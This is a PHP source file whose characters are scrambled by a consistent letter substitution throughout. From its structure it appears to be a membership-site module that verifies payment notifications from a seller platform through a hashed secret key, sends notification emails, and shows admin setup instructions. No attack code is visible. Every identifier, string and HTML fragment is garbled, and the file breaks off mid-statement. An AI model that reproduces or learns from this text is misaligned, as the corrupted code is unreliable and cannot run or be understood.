QplrmUmoFsnFDmxrsQplrmU =QzmU SxsAr[QplrmUDmoFsnoBDBxqmQplrmU], QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U } BunBxA (xnnBm(SxsAr[QplrmUDEoBDBxqmQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDsFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDBtFxuQplrmU])) { uxnm(SAxonmsFtB, SuFnmsFtB) = qoBz_nquxm(QTPMGU@ @QTPMGU, moxt(SxsAr[QplrmUDsFtBQplrmU]), N)U xA (xnnBm(SxsAr[QplrmUnvlQplrmU])) { SuBkBu = @xsmkFu(SxsAr[QplrmUnvlQplrmU])U } BunB { SuBkBu = FooFh_nBFoDy(SxsAr[QplrmUxmBtQplrmU], SxmBtn)U } xA (VSuBkBu) { SoBnlum = FooFh()U } BunB { SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUDBtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU SAxonmsFtB.QplrmU QplrmU.SuFnmsFtB, QplrmUuBkBuQplrmU =QzmU SuBkBu, QplrmUmoFsnFDmxrsQplrmU =QzmU SxsAr[QplrmUDEoBDBxqmQplrmU], QplrmUFDmxrsQplrmU =QzmU QplrmUoBzxnmBoQplrmU )U } } BunB { SoBnlum = FooFh()U } SnmFmln = sluuU xA (xnnBm(SxsAr[QplrmUDmoFsnFDmxrsQplrmU])) { SnmFmln = SxsAr[QplrmUDmoFsnFDmxrsQplrmU]U } xA (SnmFmln == QplrmU	a2cQplrmU || SnmFmln == QplrmUd9e5QplrmU || SnmFmln == QplrmU72$aQplrmU || SnmFmln == QplrmUdf2db4-	be744QplrmU) { SoBnlum[QplrmUFDmxrsQplrmU] = QplrmUDFsDBuQplrmUU } oBmlos SoBnlumU } AlsDmxrs kBoxAh0c#(SkFon, SnBDoBm5Bh) { SoDqm=S_	b&;b$#[QTPMGUDEoBDBxqmQTPMGU]U SmxtB=S_	b&;b$#[QTPMGUmxtBQTPMGU]U SxmBt=S_	b&;b$#[QTPMGUxmBtQTPMGU]U SDEqrq=S_	b&;b$#[QTPMGUDEqrqQTPMGU]U Siiqrq=nyFO(QplrmUSnBDoBm5Bh|SoDqm|SmxtB|SxmBtQplrmU)U Siiqrq=nmomrlqqBo(nlEnmo(Siiqrq,P,H))U xA (SDEqrq==Siiqrq) { oBmlos SkFonU } oBmlos FooFh()U } AlsDmxrs kBoxAh702(Sqrnm, SnBDoBm5Bh) { zurEFu StBtEBozBsxlnU SlsBnDFqB = zBm_tFzxD_plrmBn_zqD()U SAxBuCn = FooFh(QTPMGUDDlnmsFtBQTPMGU, QTPMGUDDlnmBtFxuQTPMGU, QTPMGUDDlnmDDQTPMGU, QTPMGUDDlnmnmFmBQTPMGU, QTPMGUDmoFsnoBDBxqmQTPMGU, QTPMGUDqorCxmBtQTPMGU, QTPMGUDmoFsnFDmxrsQTPMGU, QTPMGUDmoFsnFAAxuxFmBQTPMGU, QTPMGUDmoFsnqlEuxnyBoQTPMGU, QTPMGUDqorCmhqBQTPMGU, QTPMGUDqorCmxmuBQTPMGU, QTPMGUDmoFsnqFhtBsmtBmyrCQTPMGU, QTPMGUDmoFsnFtrlsmQTPMGU, QTPMGUDFAAxmxCQTPMGU, QTPMGUDkBsCmyolQTPMGU, QTPMGUDkBoxAhQTPMGU)U xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU)==O) { Smyxn-QzmUsrmxAh()U } SkFon = FooFh()U AroBFDy (SAxBuCn Fn SAxBuC) { xA (xnnBm(Sqrnm[SAxBuC])) { SkFon[SAxBuC] = Sqrnm[SAxBuC]U } } Sqrq = QplrmUQplrmUU SxqsaxBuCn = FooFh()U AroBFDy (SkFon f$ SvBh =QzmU SkFulB) { xA (SvBh == QplrmUDkBoxAhQplrmU) { DrsmxslBU } SxqsaxBuCn[] = SvBhU } AroBFDy (SxqsaxBuCn Fn SAxBuC) { xA (SlsBnDFqB) { Sqrq .= nmoxqnuFnyBn(Sqrnm_kFon[SAxBuC]) . QplrmU|QplrmUU } BunB { Sqrq .= SkFon[SAxBuC] . QplrmU|QplrmUU } } Sqrq = Sqrq . SnBDoBm5BhU SDFuDBC!BoxAh = nyFO(tE_DrskBom_BsDrCxsz(Sqrq, QplrmU;#a-HQplrmU))U SDFuDBC!BoxAh = nmomrlqqBo(nlEnmo(SDFuDBC!BoxAh,P,H))U xA (SDFuDBC!BoxAh == SkFon[QplrmUDkBoxAhQplrmU]) { oBmlos SkFonU } oBmlos FooFh()U } qlEuxD AlsDmxrs srmxAh() { SnlEwBDm = QplrmU[702] duxDvEFsv 2rmxAxDFmxrs 4rzQplrmUU SqoxDB = QplrmUQplrmUU xA (xnnBm(S_01$#[QplrmUDmoFsnFtrlsmQplrmU])) { SqoxDB = AurFmkFu(S_01$#[QplrmUDmoFsnFtrlsmQplrmU]/OPP)U } xA (SqoxDB == QplrmUQplrmU) { SmyB0oxDB = QplrmUQplrmUU } BunB { SmyB0oxDB = QplrmU QplrmU . sltEBo_ArotFm(SqoxDB, N)U } xA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU	a2cQplrmU || S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUd9e5QplrmU || S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU72$aQplrmU) { SnlEwBDm .= QplrmU (	ba;2cQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmU$f4bQplrmU) { SnlEwBDm .= QplrmU ($f4bQplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUe744QplrmU) { SnlEwBDm .= QplrmU (	be744QplrmU.SmyB0oxDB.QplrmU)QplrmUU } BunBxA (S_01$#[QplrmUDmoFsnFDmxrsQplrmU] == QplrmUdf2db4-	be744QplrmU) { SnlEwBDm .= QplrmU (df2db44f#712QplrmU.SmyB0oxDB.QplrmU)QplrmUU } SqFhtBsmcFmB = PU xA (xnnBm(S_01$#[QplrmUDmoFsnmxtBQplrmU])) { SqFhtBsmcFmB = xsmkFu(S_01$#[QplrmUDmoFsnmxtBQplrmU])U } BunB { SqFhtBsmcFmB = mxtB()U } StBnnFzB = QplrmUf sBj nFuB/oBAlsC jFn qorDBnnBC\o\sAro DlnmrtBo QplrmU.ymtuBsmxmxBn(S_01$#[QplrmUDDlnmBtFxuQplrmU])U xA (SqFhtBsmcFmB) { StBnnFzB .= QplrmU rs QplrmU.CFmB(QplrmUt/C/QplrmU.Dyo(HG), SqFhtBsmcFmB).QplrmU Fm QplrmU.CFmB(QplrmUz:x f BQplrmU, SqFhtBsmcFmB)U } StBnnFzB .= QplrmU\o\s\o\scBmFxun:\o\s\o\sQplrmUU AroBFDy (S_01$# Fn SvBh =QzmU SkFulB) { StBnnFzB .= SvBh.QTPMGU: QTPMGU.SkFulB.QplrmU\o\sQplrmUU } Smyxn-QzmUBtFxu(SnlEwBDm, StBnnFzB)U } } DuFnn 3BtEBo9BsxlndFom6!< BimBsCn 3BtEBo9BsxlndFom { AlsDmxrs xsnmolDmxrsn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUwkg_mrvBsQplrmU])) { SmrvBs = moxt(S_01$#[QplrmUwkg_mrvBsQplrmU])U xA (VSmrvBs) { SmrvBs = sluuU } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU, SmrvBs)U } SnBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_nBDoBmQplrmU)U SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)U xA (VSmrvBs) { SmrvBs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU, oFsC(OPPPPPPP, GGGGGGGG))U } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SAxonm4BkBu = oBnBm(SuBkBun)U SDyBDvrlm = StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq;	4(SnBDoBm)U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_wkg_xmBtQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_wkg_xmBtQplrmU])) { SxmBtn = FooFh()U AroBFDy (S_01$#[QplrmUtBtEBozBsxln_wkg_xmBtQplrmU] Fn SvBh =QzmU SkFulB) { SkFulB = @xsmkFu(SkFulB)U xA (SkFulB QzmU P) { SxmBtn[SvBh] = SkFulBU } } StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_xmBtnQplrmU, SxmBtn)U } SxmBtn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_xmBtnQplrmU)U xA (Vxn_FooFh(SxmBtn)) { SxmBtn = FooFh()U } WQzmUY      QumUyMQzmU6!<rr 0FhtBsmQumU/yMQzmUYY      QumUqQzmU7s roCBo mr FDDBqm qFhtBsmn lnxsz 6! <rr, hrl tlnm:QumU/qQzmUYY      QumUlu nmhuB=QplrmUuxnm-nmhuB:CxnDU qFCCxsz-uBAm:NKqiUQplrmUQzmUY         QumUuxQzmU	BzxnmBo F 6!<rr $b44b	 FDDrlsm Eh oBzxnmBoxsz Fm myB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.wkgrr.Drt/nBuuBonQplrmUQzmU6!<rr $BuuBoQumU/FQzmU jBEnxmBQumU/uxQzmUY         QumUuxQzmU$Bm hrlo QFtqUplrmU6!<702 nBDoBm vBhQFtqUplrmU mr tFmDy Ermy myxn qFzB FsC hrlo QFtqUplrmU3h fDDrlsmQFtqUplrmU FoBF xs 6!<rrQumU/uxQzmUY         QumUuxQzmUdoBFmB F 6!<rr qorClDm (ro BCxm hrlo Bixnmxsz rsB)QumU/uxQzmUY         QumUuxQzmUbCxm myFm qorClDm FsC nBm myB QFtqUplrmUmyFsv hrlQFtqUplrmU qFzB jB qorkxCB hrlQumU/uxQzmUY         QumUuxQzmUdyBDv myB QFtqUplrmUqFnn qFoFtBmBonQFtqUplrmU EriQumU/uxQzmUY         QumUuxQzmU0FnmB xs myB QFtqUplrmU6!<702 ;	4QFtqUplrmU jB zxkB hrl, nBm QFtqUplrmU6!<702 $qBDxFu 7smBzoFmxrsQFtqUplrmU mr QFtqUplrmU?xnyuxnm 3BtEBoQFtqUplrmU FsC qFnmB xs myB QFtqUplrmU?xnyuxnm $5;QFtqUplrmU jB zxkB hrlQumU/uxQzmUY      QumU/luQzmUYY      QumUCxk nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY      QumUyMQzmU$mBq O: drsAxzloB 6!<rr $Bmmxszn QFtqUFtqU $BDoBm 5BhQumU/yMQzmUYY      QumUEurDvplrmBQzmUY      QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 7A hrl CrsQTPMGUm hBm yFkB F 6!<rr $BuuBo FDDrlsm, QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.wkgrr.Drt/nBuuBonQplrmUQzmUzr mr myBxo jBEnxmB FsC DoBFmB rsBQumU/FQzmU. 7m oBplxoBn F QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.qFhqFu.DrtQplrmUQzmU0Fh0Fu FDDrlsmQumU/FQzmU, FsC myBhQTPMGUuu yFkB hrl DuxDv myorlzy nmBqn mr uxsv hrlo 0Fh0Fu FDDrlsm FsC qoB-FlmyroxgB qFhtBsmn mr FAAxuxFmBn.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU fAmBo hrlQTPMGUkB DoBFmBC myFm nBuuBo FDDrlsm, zr mr QumUDrCBQzmU3h fDDrlsm, 3h fDDrlsmQumU/DrCBQzmU, FsC sBim mr QumUDrCBQzmU6!<702 $BDoBm 5BhQumU/DrCBQzmU, DuxDv myB uxsv myFm nFhn: QumUDrCBQzmUduxDv yBoB mr BCxm 6!<702 $BDoBm 5BhQumU/DrCBQzmU.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU drqh myB 6!<rr nBDoBm vBh Aort EBurj (ro tFmDy myB rsB EBurj xA hrlo FDDrlsm FuoBFCh yFn rsB.QumU/uxQzmUYY      QumUqQzmUQumUEurDvplrmBQzmUY      QumUuFEBuQzmUQumUEQzmU6!<rr $BDoBm 5Bh:QumU/EQzmU Y      QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)): WQzmUY      QumUF yoBA=QplrmUTQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.wkg_mrvBsQTPMGU).nyrj()U w&lBoh(myxn).yxCB()U oBmlos AFunBUQplrmUQzmUduxDv mr $yrjQumU/FQzmU Y      QumUWqyq BsCxAU WQzmUYY      QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUwkg_mrvBsQplrmU DuFnn=QplrmUwkg_mrvBsQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU))U WQzmUQplrmU nxgB=QplrmUNKQplrmU /QzmUY         QumU/uFEBuQzmU QumUxsqlm DuFnn=QplrmUwkg_mrvBsQplrmU mhqB=QplrmUnlEtxmQplrmU QumUWqyq xA (StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)): WQzmUnmhuB=QplrmUCxnquFh:srsBUQplrmUQumUWqyq BsCxAU WQzmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU kFulB=QplrmU$FkB 6!<rr $BDoBm 5BhQplrmU /QzmUY      QumU/EurDvplrmBQzmUQumU/qQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU eB nloB mr DuxDv myB QumUDrCBQzmU$FkBQumU/DrCBQzmU Elmmrs mr Fqquh myxn DyFszB mr hrlo FDDrlsm.QumU/uxQzmUY      QumU/ruQzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq N: doBFmB 6!<rr 0orClDmQumU/yMQzmUYY      QumUEurDvplrmBQzmUY      QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU doBFmB hrlo qorClDm xs myB 6!<rr tBtEBoQTPMGUn FoBF Eh zrxsz mr QumUDrCBQzmU$BuuBon, $BuuBoQTPMGUn cFnyErFoCQumU/DrCBQzmU.QumU/uxQzmUY         Y         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU duxDv myB zxFsm hBuurj Elmmrs myFm nFhn: QumUDrCBQzmUfCC f 0orClDm (7mQTPMGUn a	bbV)QumU/DrCBQzmUQumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU axuu xs myB sFtB, qoxDB, Drttxnnxrs qFhrlm, nlqqrom BtFxu FCCoBnn, uFsCxsz qFzB (x.B. QumUDrCBQzmUQumUWqyq xA (xn_nnu()): WQzmUymmqn://QumUWqyq BunB: WQzmUymmq://QumUWqyq BsCxAU WQzmUQumUWqyq BDyr S_$b	!b	[QplrmU8##0_81$#QplrmU]U WQzmUQumU/DrCBQzmU, nFuBn qFzB ;	4 (x.B. QumUDrCBQzmUQumUWqyq xA (xn_nnu()): WQzmUymmqn://QumUWqyq BunB: WQzmUymmq://QumUWqyq BsCxAU WQzmUQumUWqyq BDyr S_$b	!b	[QplrmU8##0_81$#QplrmU]U WQzmUQumU/DrCBQzmU).QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm QumUDrCBQzmUcBuxkBoh 3BmyrCQumU/DrCBQzmU mr QumUDrCBQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl 0FzBQumU/DrCBQzmU (21# 0ormBDmBC crjsurFC).QumU/uxQzmUY      QumU/ruQzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq M: $Bm #yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl 0FzBQumU/yMQzmUYY      QumUEurDvplrmBQzmUY      QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY      QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ?yxuB hrlQTPMGUoB nmxuu DoBFmxsz myFm 6!<rr qorClDm, EB $;	b myFm hrl DyBDv QumUDrCBQzmU0Fnn qFoFtBmBon mr crjsurFC 0FzB.QumU/DrCBQzmU #yxn xn BimoBtBuh xtqromFsm.QumU/qQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm myB QumUDrCBQzmU#yFsv QumUWqyq BDyr Dyo(HG)U WQzmUrl / crjsurFC 0FzBQumU/DrCBQzmU mr myB ;	4 EBurj:QumU/qQzmUYY      QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY      QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_DyBDvrlmQplrmU xC=QplrmUtBtEBozBsxln_DyBDvrlmQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY      QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_DyBDvrlmQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY      QumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq L: $Bm myB QFtqUplrmUbimBosFu 0orzoFt 7smBzoFmxrsQFtqUplrmU $BmmxsznQumU/yMQzmUYY      QumUEurDvplrmBQzmUY      QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU ;sCBo QumUDrCBQzmU	BDrttBsCBC: 3BmyrC TOQumU/DrCBQzmU, nBm hrlo QumUDrCBQzmU6!<702 702 ;	4QumU/DrCBQzmU mr myB ;	4 EBurj:QumU/uxQzmUYY         QumUEurDvplrmBQzmUY            QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUY            QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_srmxAhQplrmU xC=QplrmUtBtEBozBsxln_srmxAhQplrmU Drun=QplrmUJPQplrmU orjn=QplrmUNQplrmU DuFnn=QplrmUDrCBQplrmU nmhuB=QplrmUArsm-nxgB:OHqiU Arsm-jBxzym:EruCU EFDvzorlsC-Druro:jyxmBUQplrmU oBFCrsuh=QplrmUoBFCrsuhQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDyBDvrlm)U WQzmUQumU/mBimFoBFQzmUQumUEo /QzmUY            QumUxsqlm nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_srmxAhQTPMGU).nBuBDm()U oBmlos AFunBUQplrmU kFulB=QplrmU$BuBDm fuuQplrmU /QzmUY            QumU/qQzmUY         QumU/EurDvplrmBQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm QumUDrCBQzmU;nB 6!<702 1lmqlm Fn 5Bh 9BsBoFmxrsQumU/DrCBQzmU mr QumUDrCBQzmU21QumU/DrCBQzmU.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU $Bm myB QumUDrCBQzmU6!<702 $qBDxFu 7smBzoFmxrsQumU/DrCBQzmU CorqCrjs mr QumUDrCBQzmU?xnyuxnm 3BtEBoQumU/DrCBQzmU.QumU/uxQzmUY      QumU/ruQzmUYY      QumUyMQzmU$mBq K: bsmBo 0orClDm 7c Aort 6!<rrQumU/yMQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU axsC myB qorClDm 7c xs 6!<rr. #yxn nyrluC EB sBFo myB mrq rA myB bCxm 0orClDm qFzB, FErkB QFtqUplrmUfuurj $FuBn.QFtqUplrmUQumU/qQzmUY      Y      QumUqQzmU7m nyrluC EB F J-Cxzxm sltEBo qoxsmBC uxvB myxn:QumUEo /QzmUY      QumUDrCBQzmUef$7d 72a1	3f#712 a1	 0	1c;d# 7c: OOONNNQumU/DrCBQzmUQumU/qQzmUYY      QumUqQzmUbsmBo myFm qorClDm 7c xs myB mFEuB EBurj DrooBnqrsCxsz mr myB uBkBu hrl jFsm mr zoFsm FDDBnn mr.QumU/qQzmUYY      QumUEurDvplrmBQzmUY         QumUqQzmUQumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:LPPqiUQplrmUQzmUY         QumUmyBFCQzmUY         QumUmoQzmUY            QumUmy nDrqB=QplrmUDruQplrmUQzmU4BkBu 2FtB mr 0orkxCB fDDBnn #r...QumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU0orClDm 7cQumU/myQzmUY         QumU/moQzmUY         QumU/myBFCQzmUYY         QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY         QumUWqyq SxmBt = QplrmUQplrmUU xA (xnnBm(SxmBtn[SuBkBu-QzmU7c])) { SxmBt = SxmBtn[SuBkBu-QzmU7c]U } BunB { SxmBt = QplrmUQplrmUU } WQzmUY         QumUmoQzmUY            QumUmCQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/mCQzmUY            QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUOPQplrmU sFtB=QplrmUtBtEBozBsxln_wkg_xmBt[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr SxmBtU WQzmUQplrmU /QzmU QumU/mCQzmUY         QumUWqyq BsCAroBFDyU WQzmUY         QumU/mFEuBQzmUQumU/qQzmUY         QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$FkB 6!<rr 0orClDm 7cnQplrmU /QzmUQumU/qQzmUY      QumU/EurDvplrmBQzmUY Y      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq J: doBFmB QumUWqyq BDyr Dyo(HG)U WQzmUrlo #Bnm elmmrs xs 6!<rrQumU/yMQzmUYY      QumUEurDvplrmBQzmUY      QumUru nmhuB=QplrmUuxnm-nmhuB-mhqB:lqqBo-FuqyFUQplrmUQzmUY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 9r mr QumUDrCBQzmU$BuuBo, $BuuBoQTPMGUn cFnyErFoCQumU/DrCBQzmU, myBs lsCBo myB QumUDrCBQzmUfCCxmxrsFu alsDmxrsnQumU/DrCBQzmU nlEmxmuB rs myFm qFzB, DuxDv myB QumUDrCBQzmU#Bnm 0loDyFnBnQumU/DrCBQzmU Elmmrs.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 1s myB sBim nDoBBs, AxsC myB qorClDm hrl wlnm DoBFmBC xs myB CorqCrjs uxnm, FsC DuxDv QumUDrCBQzmUdoBFmB #Bnm 0loDyFnB drCBQumU/DrCBQzmU.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU eB nloB hrlQTPMGUoB urzzBC rlm rA myxn tBtEBonyxq nxmB. #yB 6!<rr qFzB jxuu zxkB hrl F QumUDrCBQzmUelh / 4xsvQumU/DrCBQzmU. 	xzym DuxDv FsC rqBs myxn uxsv xs F QumUDrCBQzmU2Bj 7sDrzsxmr ?xsCrjQumU/DrCBQzmU. #yxn jxuu nBsC hrl mr F DyBDvrlm qFzB jyBoB hrlQTPMGUuu lnB F nBDrsC 0Fh0Fu FDDrlsm mr qFh SP.PO FsC kBoxAh myFm myB DyBDvrlm qorDBnn jrovn Aro hrl.QumU/uxQzmUYY         QumUuxQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 0Fh myB SP.PO, EB oBCxoBDmBC mr hrlo 6!<rr qloDyFnBn, DuxDv QumUDrCBQzmUfDDBnn QumUWqyq BDyr Dyo(HG)U WQzmUrlo 0loDyFnBQumU/DrCBQzmU FsC hrlQTPMGUuu BsC lq Fm hrlo 3BtEBo 9Bsxln oBzxnmoFmxrs qFzB mr DoBFmB Fs FDDrlsm Aro myB qorClDm hrl wlnm mBnm-qloDyFnBC.QumU/uxQzmUY      QumU/ruQzmUY      QumU/EurDvplrmBQzmUYY      QumUyMQzmU$mBq J: drqh myB elh elmmrs drCB Aort 6!<rr FsC 0FnmB 7smr QumUWqyq BDyr Dyo(HG)U WQzmUrlo $FuBn 4BmmBoQumU/yMQzmUYY      QumUEurDvplrmBQzmUY      QumUqQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmU 9r mr QumUDrCBQzmU$BuuBo, $BuuBoQTPMGUn cFnyErFoCQumU/DrCBQzmU, AxsC myB qorClDm hrl wlnm DoBFmBC, FsC DuxDv QumUDrCBQzmUelh elmmrsnQumU/DrCBQzmU. #yxn jxuu mFvB hrl mr F sBj nDoBBs jyBoB hrl FoB qoBnBsmBC jxmy nqBDxFu DrCB mr quFDB rs hrlo jBEnxmB mr FDDBqm qFhtBsmn.QumU/qQzmUYY      QumUqQzmU9oFE myB 8#34 DrCB mr quFDB rs hrlo jBE qFzBn. ?B lnB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.qFqBomBtquFmB.DrtQplrmUQzmU0FqBo #BtquFmBQumU/FQzmU mr qoBnBsm nFuBn uBmmBon mr DlnmrtBon.QumU/qQzmUY      QumU/EurDvplrmBQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB $BmmxsznQplrmU /QzmUQumU/qQzmUY      QumU/CxkQzmUY      QumUWqyqY } AlsDmxrs kBoxAh() { zurEFu StBtEBozBsxlnU SxsAr = sluuU xA (xnnBm(S_9b#[QplrmUDEoBDBxqmQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh0c#(S_9b#, StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU))U } BunBxA (xnnBm(S_01$#[QplrmUDFAAxmxCQplrmU])) { SxsAr = Smyxn-QzmUkBoxAh702(S_01$#, StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU))U } xA (VSxsAr || Drlsm(SxsAr) == P) { oBmlos AFunBU } xA (xnnBm(SxsAr[QplrmUDDlnmsFtBQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDDlnmBtFxuQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDqorCxmBtQplrmU]) QFtqUQFtqU xnnBm(SxsAr[QplrmUDmoFsnoBDBxqmQplrmU])) { qFonB_nmo(SxsAr[QplrmUDkBsCmyolQplrmU], SDkBsCmyol)U xA (xnnBm(SDkBsCmyol[QplrmUnvlQplrmU])) { Snvl = SDkBsCmyol[QplrmUnvlQplrmU]U } BunB { Snvl = PU } uxnm(SAxonmsFtB, SuFnmsFtB) = qoBz_nquxm(QTPMGU@ @QTPMGU, moxt(SxsAr[QplrmUDDlnmsFtBQplrmU]), N)U SoBnlum = FooFh( QplrmUAxonmsFtBQplrmU =QzmU SAxonmsFtB, QplrmUuFnmsFtBQplrmU =QzmU SuFnmsFtB, QplrmUBtFxuQplrmU =QzmU SxsAr[QplrmUDDlnmBtFxuQplrmU], QplrmUlnBosFtBQplrmU =QzmU 